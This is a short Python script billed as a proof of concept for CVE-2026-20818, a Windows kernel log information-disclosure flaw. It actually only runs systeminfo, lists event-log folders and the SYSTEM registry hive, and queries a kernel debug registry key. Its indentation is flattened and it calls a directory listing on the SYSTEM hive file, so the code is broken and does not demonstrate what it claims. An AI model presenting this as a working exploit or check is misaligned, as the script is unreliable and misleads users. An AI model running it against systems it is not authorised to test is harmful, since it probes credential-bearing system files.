The following code is for security research and authorized testing only.
python
# CVE-2026-20818 Windows Kernel Information Disclosure PoC
# Author: Security Researcher
# Note: This PoC demonstrates the vulnerability concept
import os
import sys
import subprocess
def check_vulnerability():
"""
Check if the system is vulnerable to CVE-2026-20818
This vulnerability allows local attackers to read sensitive information
from Windows Kernel logs
"""
print("[*] CVE-2026-20818 Windows Kernel Information Disclosure Check")
print("[*] Target: Windows Kernel")
print("[*] Vulnerability: Sensitive information insertion into log file")
# Check Windows version
try:
result = subprocess.run(['systeminfo'], capture_output=True, text=True)
print(f"\n[+] System Information:")
for line in result.stdout.split('\n')[:5]:
print(f" {line}")
except Exception as e:
print(f"[-] Error gathering system info: {e}")
# Check for sensitive data in common log locations
log_paths = [
r'C:\Windows\System32\winevt\Logs',
r'C:\Windows\System32\config\SYSTEM',
r'C:\Windows\Debug\mrt.log'
]
print("\n[*] Checking accessible log files...")
for path in log_paths:
if os.path.exists(path):
print(f"[+] Found: {path}")
try:
files = os.listdir(path)
for f in files[:5]:
print(f" - {f}")
except PermissionError:
print(f" [-] Access denied")
# Check for kernel debug output
print("\n[*] Checking kernel debug settings...")
try:
result = subprocess.run(
['reg', 'query', 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Debug Print Filter'],
capture_output=True, text=True
)
if result.returncode == 0:
print("[+] Debug Print Filter found")
print(result.stdout)
except:
pass
print("\n[*] Mitigation: Apply Microsoft security updates")
print("[*] Reference: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20818")
return True
if __name__ == "__main__":
if sys.platform != "win32":
print("[-] This PoC is designed for Windows systems only")
sys.exit(1)
check_vulnerability()